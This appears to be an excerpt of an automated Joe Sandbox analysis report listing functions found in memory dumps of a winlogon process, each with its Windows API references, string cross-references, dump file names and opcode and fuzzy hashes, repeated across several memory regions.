QueryPerformanceCounter.KERNEL32 ref: 00000225DC6A80E6

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction ID: ee8cd3234a2e1926b494ce625416e2b0e0b3e8a291bb8e44fd13f23c7907fb23
Opcode Fuzzy Hash: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction Fuzzy Hash: 00115B2A711F149AEB00CFA4E8583A833B4F72975AF440E21EA6D867A4EF78C154C340

Function 00000225DC6427E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC6428CC
StrCpyW.SHLWAPI ref: 00000225DC6428E5

Part of subcall function 00000225DC643F88: StrCmpNIW.SHLWAPI(?,?,?,00000225DC64272F), ref: 00000225DC643FA0

Strings

\\.\pipe\, xrefs: 00000225DC6428D7

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction ID: eae5c8a5ca668df4aeb4e9113d9e0bccb939e0345f6c8f559ba5ef4a004f994c
Opcode Fuzzy Hash: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction Fuzzy Hash: 2171E73A20CFA2A2E7759FEE98483AA7794F345BC5F658056DD4B83B88DE35C540C700

Function 00000225DC6727E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC6728CC
StrCpyW.SHLWAPI ref: 00000225DC6728E5

Part of subcall function 00000225DC673F88: StrCmpNIW.SHLWAPI(?,?,?,00000225DC67272F), ref: 00000225DC673FA0

Strings

\\.\pipe\, xrefs: 00000225DC6728D7

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction ID: 06abf94a7006eaee770732734f1222bb354fc5c3bd5021a93067fca93aff2c8b
Opcode Fuzzy Hash: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction Fuzzy Hash: 0F71B43A200FA2A2EB76DFAE98583EA6794F384BC6F558426DD4957FC9DE35C500C700

Function 00000225DC6A27E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC6A28CC
StrCpyW.SHLWAPI ref: 00000225DC6A28E5

Part of subcall function 00000225DC6A3F88: StrCmpNIW.SHLWAPI(?,?,?,00000225DC6A272F), ref: 00000225DC6A3FA0

Strings

\\.\pipe\, xrefs: 00000225DC6A28D7

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction ID: 705a40dac4cf707c1400a96436808bbb4e32763e1bd80b0caf79df7c94a2b37b
Opcode Fuzzy Hash: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction Fuzzy Hash: 7A71E93A290FA161E775DFAE98483EA6794F385BC6F618026DE0DD3B88DE35C500C700

Function 00000225DC6180A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC6180CB
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC618162

Strings

csm, xrefs: 00000225DC618149

Memory Dump Source

Source File: 00000009.00000003.1989875649.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_225dc610000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: b357aedd56655febe1e83121fcdbd81deca393081262ff39b5b4dcae8858ae6d
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: DF51C23A316E20AADF55CB9DE44CB687392F348B9BF16C225DA4643789D778C841C740

Function 00000225DC619AFC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000225DC619BA7

Strings

MOC, xrefs: 00000225DC619B6F
RCC, xrefs: 00000225DC619B77

Memory Dump Source

Source File: 00000009.00000003.1989875649.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_225dc610000_winlogon.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: e25ced9457bf99ced28a5d65ca64d7bdf8df994bf153afee4d3839932752c94c
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: 0A61B036919FC491EB708F69E44479AB7A0F789B8AF048215EB9907B99CB7CC191CB00

Function 00000225DC6425DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC6426C2
StrCpyW.SHLWAPI ref: 00000225DC6426D9

Strings

\\.\pipe\, xrefs: 00000225DC6426CD

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction ID: 3eab4eabe3e4729d304bf9d7101085b2178bf51164354b22e681cff41496018d
Opcode Fuzzy Hash: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction Fuzzy Hash: 2B510A2E20CFA161E625DEEEA45C3BA7B51F394B81F648065CE5B43B89DE39C444C740

Function 00000225DC6725DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC6726C2
StrCpyW.SHLWAPI ref: 00000225DC6726D9

Strings

\\.\pipe\, xrefs: 00000225DC6726CD

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction ID: 3db6ac77bfa5ac9f272312f598324df14380f3bb2af56fd02340131b9c864c39
Opcode Fuzzy Hash: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction Fuzzy Hash: 5951252E204FA0E2EA26CEBEA55C3AA6795F7C4B81F548925CE4943FC9DE3DC440C740

Function 00000225DC6A25DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC6A26C2
StrCpyW.SHLWAPI ref: 00000225DC6A26D9

Strings

\\.\pipe\, xrefs: 00000225DC6A26CD

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction ID: e11b2a7f3edbef56172184a7c16dc2fd0d47df3306e2381dbbce4523e57785be
Opcode Fuzzy Hash: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction Fuzzy Hash: 28515D3E2C4FA061E625DFBDA45C3AA6791F395B82F248025CD4DC3B99DE39CA40C740

Function 00000225DC652660 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000225DC652778
GetLastError.KERNEL32 ref: 00000225DC65279D

Strings

U, xrefs: 00000225DC652722

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction ID: 5d2149fe6c3e78c39011a294a18c6bd9ab588e09121204414753852e3327650c
Opcode Fuzzy Hash: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction Fuzzy Hash: 3C41F776625E90A6E710DFA9E44C79EB7A4F358785FA08121EE4D87798EB38C441CB40

Function 00000225DC682660 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000225DC682778
GetLastError.KERNEL32 ref: 00000225DC68279D

Strings

U, xrefs: 00000225DC682722

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction ID: 5200b0a9beee72a8b1e71db727fb4ee46784548cd1607bea0f068cb2e68ac69f
Opcode Fuzzy Hash: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction Fuzzy Hash: 95410936625E90A6EB10CFA9E44C79AB7A4F748785F908122EE4D87798EF3CC441C741

Function 00000225DC6B2660 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000225DC6B2778
GetLastError.KERNEL32 ref: 00000225DC6B279D

Strings

U, xrefs: 00000225DC6B2722

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction ID: e0c351baf4859c10e77ba76a6590d0cc1abded0191d3b1c089e69e04578efc60
Opcode Fuzzy Hash: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction Fuzzy Hash: 37411736725EA0A6E710DFA9E4487DAB7E1F358786F908121EE4D87758EF38C401CB40

Function 00000225DC649178 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000225DC6491C8
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00000225DC6487F7), ref: 00000225DC649209

Strings

csm, xrefs: 00000225DC6491F6

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction ID: db6eb38841bde54c5dd188d0259e07b469649840c4da86e6cd179dda64078316
Opcode Fuzzy Hash: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction Fuzzy Hash: 18113036218F5492EB218F19F44825977E5F788B95F588260DF8D07B58EF3CC551CB00

Function 00000225DC679178 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000225DC6791C8
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00000225DC6787F7), ref: 00000225DC679209

Strings

csm, xrefs: 00000225DC6791F6

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction ID: 7226e3522b5125ddb551aa3a57fb97c0fa8ea7e3dcbb6584f8f0b196ce66b00f
Opcode Fuzzy Hash: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction Fuzzy Hash: EA113036214F5492EB218F19F44825977E5FB88B95F588624DF8D07B98EF3CC551CB00

Function 00000225DC6A9178 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000225DC6A91C8
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00000225DC6A87F7), ref: 00000225DC6A9209

Strings

csm, xrefs: 00000225DC6A91F6

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction ID: fa1202d324cfbd0c8970eb7c3b42d5f78d3a1867e87e940416cdeefa60ff0339
Opcode Fuzzy Hash: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction Fuzzy Hash: F1112E36214F5492EB61CB19F44825977E5F788B95F688220DF8D47B59EF3CC951CB00

Function 00000225DC641D30 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC641D69
HeapAlloc.KERNEL32 ref: 00000225DC641D77
GetProcessHeap.KERNEL32 ref: 00000225DC641D9C
HeapFree.KERNEL32 ref: 00000225DC641DAA

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction ID: ca64aea31b89ef05092247e0b654ff125d18e1aed59babf1c68cbec64ae6055e
Opcode Fuzzy Hash: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction Fuzzy Hash: B6116D29A15F90A5EA14CBAAE80C25977F1F788FD1F688124DE4E53765EF38D442C300

Function 00000225DC671D30 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC671D69
HeapAlloc.KERNEL32 ref: 00000225DC671D77
GetProcessHeap.KERNEL32 ref: 00000225DC671D9C
HeapFree.KERNEL32 ref: 00000225DC671DAA

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction ID: ef720a90cd906b7f5869c837cfcecf23e1a7b74f588bf74dcced3a09afb9df82
Opcode Fuzzy Hash: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction Fuzzy Hash: 8A118029A11F90A5EE14CBAAA80C25977F0FB88FD1F588125DE8E537A5EF38D442C700

Function 00000225DC6A1D30 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC6A1D69
HeapAlloc.KERNEL32 ref: 00000225DC6A1D77
GetProcessHeap.KERNEL32 ref: 00000225DC6A1D9C
HeapFree.KERNEL32 ref: 00000225DC6A1DAA

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction ID: bccaa72d9641499ade5178cec18e2b7def748411dc5829a48323c92040d00650
Opcode Fuzzy Hash: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction Fuzzy Hash: 30118429615F90E5EE15DBAAA40819977F1F788FD2F588124DE4E93765EF38D442C300

Function 00000225DC641264 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC64126A
HeapAlloc.KERNEL32 ref: 00000225DC641279
GetProcessHeap.KERNEL32 ref: 00000225DC641293
HeapAlloc.KERNEL32 ref: 00000225DC6412A4

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction ID: 0deb5c519183e292ab043531c625829c76551796b07e63a5a63a9173b0e6b41d
Opcode Fuzzy Hash: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction Fuzzy Hash: 40E09A35A21A14AAE7288FA6D80C3493AE1FB8CF06F58C024C90907360FF7DC4D9CB81

Function 00000225DC671264 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC67126A
HeapAlloc.KERNEL32 ref: 00000225DC671279
GetProcessHeap.KERNEL32 ref: 00000225DC671293
